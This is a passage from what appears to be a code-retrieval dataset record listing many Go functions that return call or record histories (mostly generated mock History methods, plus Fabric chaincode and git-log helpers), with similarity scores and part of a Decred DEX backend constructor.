make([]ReleaseStoreGetLatestBatchFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *ResolverCommitGraphFunc) History() []ResolverCommitGraphFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]ResolverCommitGraphFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *ConnCloseFunc) History() []ConnCloseFuncCall {\n\treturn f.history\n}", "func (f *ResolverQueueAutoIndexJobForRepoFunc) History() []ResolverQueueAutoIndexJobForRepoFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]ResolverQueueAutoIndexJobForRepoFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *DBStoreRefreshCommitResolvabilityFunc) History() []DBStoreRefreshCommitResolvabilityFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]DBStoreRefreshCommitResolvabilityFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *DBStoreTransactFunc) History() []DBStoreTransactFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]DBStoreTransactFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *DBStoreTransactFunc) History() []DBStoreTransactFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]DBStoreTransactFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *AutoIndexingServiceGetUnsafeDBFunc) History() []AutoIndexingServiceGetUnsafeDBFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]AutoIndexingServiceGetUnsafeDBFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *UploadServiceGetAuditLogsForUploadFunc) History() []UploadServiceGetAuditLogsForUploadFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]UploadServiceGetAuditLogsForUploadFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func getHistory(source string) ([]TransferData, error) {\n\turl := fmt.Sprintf(\"%s/history?duration=%s\", source, url.QueryEscape(AgentRouter.CronInterval))\n\tresp := utils.FetchResponse(url, []byte{})\n\tif resp.Error != nil {\n\t\treturn nil, resp.Error\n\t}\n\tvar transferRecords []TransferData\n\terr := json.Unmarshal(resp.Data, &transferRecords)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn transferRecords, nil\n}", "func (f *ExtensionStoreTransactFunc) History() []ExtensionStoreTransactFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]ExtensionStoreTransactFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func history() ([]gitobject.Commit, error) {\n\t// Open the repo\n\tr, err := git.PlainOpen(getGitDir())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Get the HEAD\n\tcIter, err := r.Log(&git.LogOptions{})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Make a list of commits\n\tvar commits []gitobject.Commit\n\terr = cIter.ForEach(func(c *gitobject.Commit) error {\n\t\tcommits = append(commits, *c)\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Sort the commits\n\tsort.Slice(commits, func(i, j int) bool {\n\t\treturn commits[i].Author.When.Local().Unix() < commits[j].Author.When.Local().Unix()\n\t})\n\n\treturn commits, nil\n}", "func (f *LSIFStoreTransactFunc) History() []LSIFStoreTransactFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]LSIFStoreTransactFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *ReleaseStoreGetArtifactsFunc) History() []ReleaseStoreGetArtifactsFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]ReleaseStoreGetArtifactsFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *UploadServiceDeleteUploadsFunc) History() []UploadServiceDeleteUploadsFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]UploadServiceDeleteUploadsFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *JobNameFunc) History() []JobNameFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]JobNameFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *ExtensionStoreListPublishersFunc) History() []ExtensionStoreListPublishersFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]ExtensionStoreListPublishersFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *ExtensionStoreGetByExtensionIDFunc) History() []ExtensionStoreGetByExtensionIDFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]ExtensionStoreGetByExtensionIDFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *JobRunFunc) History() []JobRunFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]JobRunFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *ExtensionStoreCountPublishersFunc) History() []ExtensionStoreCountPublishersFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]ExtensionStoreCountPublishersFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *ReleaseStoreHandleFunc) History() []ReleaseStoreHandleFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]ReleaseStoreHandleFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func recoverHistory(node *centrifuge.Node, ch string, since centrifuge.StreamPosition, maxPublicationLimit int) (centrifuge.HistoryResult, error) {\n\tlimit := centrifuge.NoLimit\n\tif maxPublicationLimit > 0 {\n\t\tlimit = maxPublicationLimit\n\t}\n\treturn node.History(ch, centrifuge.WithLimit(limit), centrifuge.WithSince(&since))\n}", "func (room *RoomRecorder) history() []*action_.PlayerAction {\n\troom.historyM.RLock()\n\tv := room._history\n\troom.historyM.RUnlock()\n\treturn v\n}", "func (c *Client) History(ctx context.Context, channel string, opts ...HistoryOption) (HistoryResult, error) {\n\tif c.isClosed() {\n\t\treturn HistoryResult{}, ErrClientClosed\n\t}\n\tresCh := make(chan HistoryResult, 1)\n\terrCh := make(chan error, 1)\n\thistoryOpts := &HistoryOptions{}\n\tfor _, opt := range opts {\n\t\topt(historyOpts)\n\t}\n\tc.history(ctx, channel, *historyOpts, func(result HistoryResult, err error) {\n\t\tresCh <- result\n\t\terrCh <- err\n\t})\n\tselect {\n\tcase <-ctx.Done():\n\t\treturn HistoryResult{}, ctx.Err()\n\tcase res := <-resCh:\n\t\treturn res, <-errCh\n\t}\n}", "func (f *DBStoreDirtyRepositoriesFunc) History() []DBStoreDirtyRepositoriesFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]DBStoreDirtyRepositoriesFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *DBStoreDirtyRepositoriesFunc) History() []DBStoreDirtyRepositoriesFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]DBStoreDirtyRepositoriesFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *ResolverGetUploadsByIDsFunc) History() []ResolverGetUploadsByIDsFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]ResolverGetUploadsByIDsFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *DBStoreDeleteUploadsStuckUploadingFunc) History() []DBStoreDeleteUploadsStuckUploadingFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]DBStoreDeleteUploadsStuckUploadingFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *ExtensionStoreGetFeaturedExtensionsFunc) History() []ExtensionStoreGetFeaturedExtensionsFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]ExtensionStoreGetFeaturedExtensionsFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *SubRepoPermissionCheckerEnabledFunc) History() []SubRepoPermissionCheckerEnabledFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]SubRepoPermissionCheckerEnabledFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func GetHistory(stub shim.ChaincodeStubInterface, args []string) pb.Response {\n\ttype KeyModificationWrapper struct {\n\t\tRealValue interface{} `json:\"InterfaceValue\"`\n\t\tTx queryresult.KeyModification\n\t}\n\tvar sliceReal []KeyModificationWrapper\n\n\tvar history []queryresult.KeyModification\n\tvar value interface{}\n\n\tif len(args) != 1 {\n\t\treturn shim.Error(\"Incorrect number of arguments. Expecting 1\")\n\t}\n\n\tkey := args[0]\n\tfmt.Printf(\"- start GetHistory: %s\\n\", key)\n\n\t// Get History\n\tresultsIterator, err := stub.GetHistoryForKey(key)\n\tif err != nil {\n\t\treturn shim.Error(err.Error())\n\t}\n\tdefer resultsIterator.Close()\n\n\tfor resultsIterator.HasNext() {\n\t\thistoryData, err := resultsIterator.Next()\n\t\tif err != nil {\n\t\t\treturn shim.Error(err.Error())\n\t\t}\n\n\t\tvar singleReal KeyModificationWrapper\n\t\tvar tx queryresult.KeyModification\n\t\tsingleReal.Tx.TxId = historyData.TxId //copy transaction id over\n\t\tjson.Unmarshal(historyData.Value, &value) //un stringify it aka JSON.parse()\n\t\tif historyData.Value == nil { //value has been deleted\n\t\t\tvar emptyBytes []byte\n\t\t\tsingleReal.Tx.Value = emptyBytes //copy nil value\n\t\t} else {\n\t\t\tjson.Unmarshal(historyData.Value, &value) //un stringify it aka JSON.parse()\n\t\t\tsingleReal.Tx.Value = historyData.Value //copy value over\n\t\t\tsingleReal.Tx.Timestamp = historyData.Timestamp\n\t\t\tsingleReal.Tx.IsDelete = historyData.IsDelete\n\t\t\tsingleReal.RealValue = value\n\t\t}\n\t\thistory = append(history, tx) //add this Tx to the list\n\t\tsliceReal = append(sliceReal, singleReal)\n\t}\n\t// fmt.Printf(\"- getHistoryForService returning:\\n%s\", history)\n\tPrettyPrintHistory(history)\n\n\t//change to array of bytes\n\t// historyAsBytes, _ := json.Marshal(history) //convert to array of bytes\n\n\trealAsBytes, _ := json.Marshal(sliceReal)\n\treturn shim.Success(realAsBytes)\n}", "func GetHistory(s *aklib.DBConfig) ([]*History, error) {\n\tvar hist []*History\n\treturn hist, s.DB.View(func(txn *badger.Txn) error {\n\t\terr := db.Get(txn, nil, &hist, db.HeaderWalletHistory)\n\t\tif err == badger.ErrKeyNotFound {\n\t\t\treturn nil\n\t\t}\n\t\treturn err\n\t})\n}", "func (f *FinalizerFinalizeFunc) History() []FinalizerFinalizeFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]FinalizerFinalizeFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func get_history(stub shim.ChaincodeStubInterface, args []string) pb.Response {\n\tif len(args) != 1 {\n\t\treturn shim.Error(\"Incorrect number of arguments. Expecting 1\")\n\t}\n\n\tkey := args[0]\n\tfmt.Printf(\"- start getHistory: %s\\n\", key)\n\n\t// Get History\n\tresultsIterator, err := stub.GetHistoryForKey(key)\n\tif err != nil {\n\t\treturn shim.Error(err.Error())\n\t}\n\tdefer resultsIterator.Close()\n\n\tresults, err := ConvHistoryResult(resultsIterator)\n\tif err != nil {\n\t\treturn shim.Error(err.Error())\n\t}\n\tfmt.Println(\"end getHistory\")\n\n\treturn shim.Success(results)\n}", "func (f *ExtensionStoreUpdateFunc) History() []ExtensionStoreUpdateFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]ExtensionStoreUpdateFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *ExtensionStoreHandleFunc) History() []ExtensionStoreHandleFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]ExtensionStoreHandleFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *UploadServiceGetListTagsFunc) History() []UploadServiceGetListTagsFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]UploadServiceGetListTagsFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *ExtensionStoreGetByIDFunc) History() []ExtensionStoreGetByIDFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]ExtensionStoreGetByIDFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func historySince(since string) ([]gitobject.Commit, error) {\n\tcurr, err := getCurrentCommit()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn historyBetween(since, curr)\n}", "func (f *DBStoreHandleFunc) History() []DBStoreHandleFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]DBStoreHandleFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *DBStoreHandleFunc) History() []DBStoreHandleFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]DBStoreHandleFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *ReleaseStoreWithFunc) History() []ReleaseStoreWithFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]ReleaseStoreWithFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *LSIFStoreClearFunc) History() []LSIFStoreClearFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]LSIFStoreClearFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *LSIFStoreClearFunc) History() []LSIFStoreClearFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]LSIFStoreClearFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *ReleaseStoreCreateFunc) History() []ReleaseStoreCreateFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]ReleaseStoreCreateFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *DBStoreSoftDeleteOldUploadsFunc) History() []DBStoreSoftDeleteOldUploadsFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]DBStoreSoftDeleteOldUploadsFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *SubRepoPermissionCheckerPermissionsFunc) History() []SubRepoPermissionCheckerPermissionsFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]SubRepoPermissionCheckerPermissionsFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (env *Env) getMessagesSince(channelID string, since time.Time) ([]chat.Message, error) {\n\treturn env.MessageRepo.GetMessagesSince(channelID, since)\n}", "func (f *ResolverGetUploadByIDFunc) History() []ResolverGetUploadByIDFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]ResolverGetUploadByIDFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (_obj *Apichannels) Channels_readHistory(params *TLchannels_readHistory, _opt ...map[string]string) (ret Bool, err error) {\n\n\tvar length int32\n\tvar have bool\n\tvar ty byte\n\t_os := codec.NewBuffer()\n\terr = params.WriteBlock(_os, 1)\n\tif err != nil {\n\t\treturn ret, err\n\t}\n\n\tvar _status map[string]string\n\tvar _context map[string]string\n\tif len(_opt) == 1 {\n\t\t_context = _opt[0]\n\t} else if len(_opt) == 2 {\n\t\t_context = _opt[0]\n\t\t_status = _opt[1]\n\t}\n\t_resp := new(requestf.ResponsePacket)\n\ttarsCtx := context.Background()\n\n\terr = _obj.s.Tars_invoke(tarsCtx, 0, \"channels_readHistory\", _os.ToBytes(), _status, _context, _resp)\n\tif err != nil {\n\t\treturn ret, err\n\t}\n\n\t_is := codec.NewReader(tools.Int8ToByte(_resp.SBuffer))\n\terr = ret.ReadBlock(_is, 0, true)\n\tif err != nil {\n\t\treturn ret, err\n\t}\n\n\tif len(_opt) == 1 {\n\t\tfor k := range _context {\n\t\t\tdelete(_context, k)\n\t\t}\n\t\tfor k, v := range _resp.Context {\n\t\t\t_context[k] = v\n\t\t}\n\t} else if len(_opt) == 2 {\n\t\tfor k := range _context {\n\t\t\tdelete(_context, k)\n\t\t}\n\t\tfor k, v := range _resp.Context {\n\t\t\t_context[k] = v\n\t\t}\n\t\tfor k := range _status {\n\t\t\tdelete(_status, k)\n\t\t}\n\t\tfor k, v := range _resp.Status {\n\t\t\t_status[k] = v\n\t\t}\n\n\t}\n\t_ = length\n\t_ = have\n\t_ = ty\n\treturn ret, nil\n}", "func (f *ExtensionStoreDeleteFunc) History() []ExtensionStoreDeleteFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]ExtensionStoreDeleteFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func getHistory(stub shim.ChaincodeStubInterface, args []string) pb.Response {\n\ttype AuditHistory struct {\n\t\tTxId string `json:\"txId\"`\n\t\tValue Marble `json:\"value\"`\n\t}\n\tvar history []AuditHistory;\n\tvar marble Marble\n\n\tif len(args) != 1 {\n\t\treturn shim.Error(\"Incorrect number of arguments. Expecting 1\")\n\t}\n\n\tmarbleId := args[0]\n\tfmt.Printf(\"- start getHistoryForMarble: %s\\n\", marbleId)\n\n\t// Get History\n\tresultsIterator, err := stub.GetHistoryForKey(marbleId)\n\tif err != nil {\n\t\treturn shim.Error(err.Error())\n\t}\n\tdefer resultsIterator.Close()\n\n\tfor resultsIterator.HasNext() {\n\t\thistoryData, err := resultsIterator.Next()\n\t\tif err != nil {\n\t\t\treturn shim.Error(err.Error())\n\t\t}\n\n\t\tvar tx AuditHistory\n\t\ttx.TxId = historyData.TxId //copy transaction id over\n\t\tjson.Unmarshal(historyData.Value, &marble) //un stringify it aka JSON.parse()\n\t\tif historyData.Value == nil { //marble has been deleted\n\t\t\tvar emptyMarble Marble\n\t\t\ttx.Value = emptyMarble //copy nil marble\n\t\t} else {\n\t\t\tjson.Unmarshal(historyData.Value, &marble) //un stringify it aka JSON.parse()\n\t\t\ttx.Value = marble //copy marble over\n\t\t}\n\t\thistory = append(history, tx) //add this tx to the list\n\t}\n\tfmt.Printf(\"- getHistoryForMarble returning:\\n%s\", history)\n\n\t//change to array of bytes\n\thistoryAsBytes, _ := json.Marshal(history) //convert to array of bytes\n\treturn shim.Success(historyAsBytes)\n}", "func (f *AutoIndexingServiceGetIndexesFunc) History() []AutoIndexingServiceGetIndexesFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]AutoIndexingServiceGetIndexesFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *AutoIndexingServiceGetIndexByIDFunc) History() []AutoIndexingServiceGetIndexByIDFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]AutoIndexingServiceGetIndexByIDFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *ResolverQueryResolverFunc) History() []ResolverQueryResolverFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]ResolverQueryResolverFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *AutoIndexingServiceGetIndexesByIDsFunc) History() []AutoIndexingServiceGetIndexesByIDsFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]AutoIndexingServiceGetIndexesByIDsFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *AutoIndexingServiceGetListTagsFunc) History() []AutoIndexingServiceGetListTagsFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]AutoIndexingServiceGetListTagsFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *UploadServiceDeleteUploadByIDFunc) History() []UploadServiceDeleteUploadByIDFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]UploadServiceDeleteUploadByIDFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (c *ChatService) ChatHistory(ctx context.Context, req *chatpb.ChatHistoryRequest) (*chatpb.ChatHistoryResponse, error) {\n\n\treturn &chatpb.ChatHistoryResponse{}, nil\n}", "func (f *ExtensionStoreCreateFunc) History() []ExtensionStoreCreateFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]ExtensionStoreCreateFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func GetLastMessages(context *gin.Context) {\n\trequest := context.Request\n\twriter := context.Writer\n\n\t// Check for required headers\n\ttoken, appID, isOK := auth.GetAuthData(request)\n\n\tif !isOK {\n\t\twriter.WriteHeader(http.StatusBadRequest)\n\t\treturn\n\t}\n\n\t// Validate token\n\tidentity, isOK := auth.VerifyToken(token)\n\n\t// If not valid return\n\tif !isOK || !identity.CanUseAppID(appID) {\n\t\twriter.WriteHeader(http.StatusUnauthorized)\n\t\treturn\n\t}\n\n\tchannelID := context.Params.ByName(\"channelID\")\n\n\tif channelID == \"\" {\n\t\twriter.WriteHeader(http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tamountStr := context.Params.ByName(\"amount\")\n\n\tif amountStr == \"\" {\n\t\twriter.WriteHeader(http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tamount, err := strconv.ParseInt(amountStr, 10, 64)\n\n\tif err != nil {\n\t\t_, _ = fmt.Fprintf(os.Stderr, \"HTTP Get last messages: failed convert amount %v\\n\", err)\n\t\twriter.WriteHeader(http.StatusBadRequest)\n\t\treturn\n\t}\n\n\t// Check if channel exists\n\texists, err := GetEngine().GetChannelRepository().ExistsAppChannel(appID, channelID)\n\n\tif err != nil {\n\t\t_, _ = fmt.Fprintf(os.Stderr, \"HTTP Get last messages: failed to check app channel existence %v\\n\", err)\n\t\twriter.WriteHeader(http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tif !exists {\n\t\twriter.WriteHeader(http.StatusNotFound)\n\t\treturn\n\t}\n\n\tvar events []*ChannelEvent\n\n\tif amount <= CacheQueueSize {\n\t\tsize := GetEngine().GetCacheStorage().GetChannelEventsSize(channelID, appID)\n\n\t\tif size >= uint64(amount) {\n\t\t\tevents = GetEngine().GetCacheStorage().GetChannelEvents(channelID, appID, amount)\n\t\t} else {\n\t\t\tevents, err = GetEngine().GetChannelRepository().GetChannelLastEvents(appID, channelID, amount)\n\n\t\t\tif err != nil {\n\t\t\t\t_, _ = fmt.Fprintf(os.Stderr, \"HTTP Get last messages: failed fetch events %v\\n\", err)\n\t\t\t\twriter.WriteHeader(http.StatusInternalServerError)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t} else {\n\t\t// Get events\n\t\tevents, err = GetEngine().GetChannelRepository().GetChannelLastEvents(appID, channelID, amount)\n\n\t\tif err != nil {\n\t\t\t_, _ = fmt.Fprintf(os.Stderr, \"HTTP Get last messages: failed fetch events %v\\n\", err)\n\t\t\twriter.WriteHeader(http.StatusInternalServerError)\n\t\t\treturn\n\t\t}\n\t}\n\n\t// Prepare response\n\tresponse := getChannelEventsResponse{Events: events}\n\n\tvar json = jsoniter.ConfigCompatibleWithStandardLibrary\n\tdata, err := json.Marshal(response)\n\n\tif err != nil {\n\t\t_, _ = fmt.Fprintf(os.Stderr, \"HTTP Get last messages: failed to marshal response %v\\n\", err)\n\t\twriter.WriteHeader(http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\twriter.WriteHeader(http.StatusOK)\n\t_, _ = writer.Write(data)\n}", "func (f *ExtensionStoreCountFunc) History() []ExtensionStoreCountFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]ExtensionStoreCountFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *DBStoreUpdateUploadRetentionFunc) History() []DBStoreUpdateUploadRetentionFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]DBStoreUpdateUploadRetentionFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *ResolverUpdateIndexConfigurationByRepositoryIDFunc) History() []ResolverUpdateIndexConfigurationByRepositoryIDFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]ResolverUpdateIndexConfigurationByRepositoryIDFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *ResolverIndexConfigurationFunc) History() []ResolverIndexConfigurationFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]ResolverIndexConfigurationFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *DBStoreDeleteUploadsWithoutRepositoryFunc) History() []DBStoreDeleteUploadsWithoutRepositoryFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]DBStoreDeleteUploadsWithoutRepositoryFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *ExtensionStoreListFunc) History() []ExtensionStoreListFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]ExtensionStoreListFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (g *Generator) History() []ispec.History {\n\tcopy := []ispec.History{}\n\tfor _, v := range g.image.History {\n\t\tcopy = append(copy, v)\n\t}\n\treturn copy\n}", "func (f *UploadServiceGetUploadDocumentsForPathFunc) History() []UploadServiceGetUploadDocumentsForPathFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]UploadServiceGetUploadDocumentsForPathFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (s *CertificatesService) History(id string) (*EmailHistory, error) {\n\tres := new(EmailHistory)\n\n\tdata, err := s.client.Get(\"/v1/certificates/\" + id + \"/email/history\")\n\tif err != nil {\n\t\treturn res, err\n\t}\n\n\terr = json.Unmarshal(data, &res)\n\n\treturn res, err\n}", "func (f *AutoIndexingServiceNumRepositoriesWithCodeIntelligenceFunc) History() []AutoIndexingServiceNumRepositoriesWithCodeIntelligenceFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]AutoIndexingServiceNumRepositoriesWithCodeIntelligenceFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *PipelineRunFunc) History() []PipelineRunFuncCall {\n\treturn f.history\n}" ]
[ "0.7704789", "0.7430112", "0.68845767", "0.6797101", "0.67133385", "0.6681382", "0.6637313", "0.66343653", "0.6592949", "0.6514193", "0.65121716", "0.64886004", "0.64822644", "0.64815116", "0.64676267", "0.6462026", "0.64599144", "0.6439093", "0.6423534", "0.6383649", "0.6373561", "0.6362574", "0.6346819", "0.63418275", "0.6332746", "0.6323498", "0.6323498", "0.6323232", "0.6303469", "0.6295645", "0.6292263", "0.6263371", "0.6261944", "0.6260985", "0.6260985", "0.626029", "0.62593037", "0.6258507", "0.6252022", "0.62424487", "0.6224913", "0.6207146", "0.6206958", "0.6202614", "0.61979234", "0.61975557", "0.6183964", "0.61790985", "0.61762965", "0.6174665", "0.61641544", "0.61462295", "0.6138524", "0.6138524", "0.6136015", "0.6111957", "0.6100113", "0.6096538", "0.6086809", "0.60864997", "0.6086299", "0.60835576", "0.60825914", "0.6070596", "0.60698855", "0.6059302", "0.6052453", "0.60515904", "0.60515904", "0.6018881", "0.60102034", "0.60102034", "0.60033566", "0.59777576", "0.59776324", "0.59600955", "0.5959608", "0.59570265", "0.5956169", "0.595022", "0.59487695", "0.59483814", "0.5948252", "0.59412706", "0.5939758", "0.593117", "0.5930573", "0.59236425", "0.59156543", "0.59145933", "0.59138876", "0.5898733", "0.58930814", "0.5892256", "0.58887786", "0.5881511", "0.5878919", "0.58682084", "0.5860438", "0.58504575" ]
0.79167515
0
NewBackend is the exported constructor by which the DEX will import the DCRBackend. The provided context.Context should be cancelled when the DEX application exits. If configPath is an empty string, the backend will attempt to read the settings directly from the dcrd config file in its default system location.
func NewBackend(ctx context.Context, configPath string, logger dex.Logger, network dex.Network) (*DCRBackend, error) { // loadConfig will set fields if defaults are used and set the chainParams // package variable. cfg, err := loadConfig(configPath, network) if err != nil { return nil, err } dcr := unconnectedDCR(ctx, logger) notifications := &rpcclient.NotificationHandlers{ OnBlockConnected: dcr.onBlockConnected, } // When the exported constructor is used, the node will be an // rpcclient.Client. dcr.client, err = connectNodeRPC(cfg.RPCListen, cfg.RPCUser, cfg.RPCPass, cfg.RPCCert, notifications) if err != nil { return nil, err } err = dcr.client.NotifyBlocks() if err != nil { return nil, fmt.Errorf("error registering for block notifications") } dcr.node = dcr.client // Prime the cache with the best block. bestHash, _, err := dcr.client.GetBestBlock() if err != nil { return nil, fmt.Errorf("error getting best block from dcrd: %v", err) } if bestHash != nil { _, err := dcr.getDcrBlock(bestHash) if err != nil { return nil, fmt.Errorf("error priming the cache: %v", 